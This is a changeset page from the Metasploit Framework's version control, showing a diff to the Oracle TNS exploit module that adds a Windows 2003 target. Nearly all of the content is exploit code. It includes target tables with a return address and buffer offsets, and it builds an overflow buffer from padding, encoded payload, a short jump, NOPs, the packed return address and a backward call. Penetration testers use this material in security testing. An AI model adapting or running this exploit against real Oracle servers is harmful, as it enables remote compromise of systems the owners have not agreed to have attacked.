Changeset 6092

Show
Ignore:
Timestamp:
01/08/09 16:39:08 (6 months ago)
Author:
mc
Message:

added support for 2k3.

Files:
1 modified

Legend:

Unmodified
Added
Removed
  • framework3/trunk/modules/exploits/windows/oracle/oracle_tns.rb

    r6082 r6092  
    4242                        'Targets'        => 
    4343                                [ 
    44                                         [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Ret' => 0x60a1e154 } ], 
     44                                        [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ], 
     45                                        [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] , 
    4546                                ], 
    4647                        'DefaultTarget' => 0, 
     
    7576                connect 
    7677 
    77                         buff =  rand_text_alpha_upper(6383 - payload.encoded.length) + payload.encoded 
     78                        buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded 
    7879                        buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') 
    7980                        buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)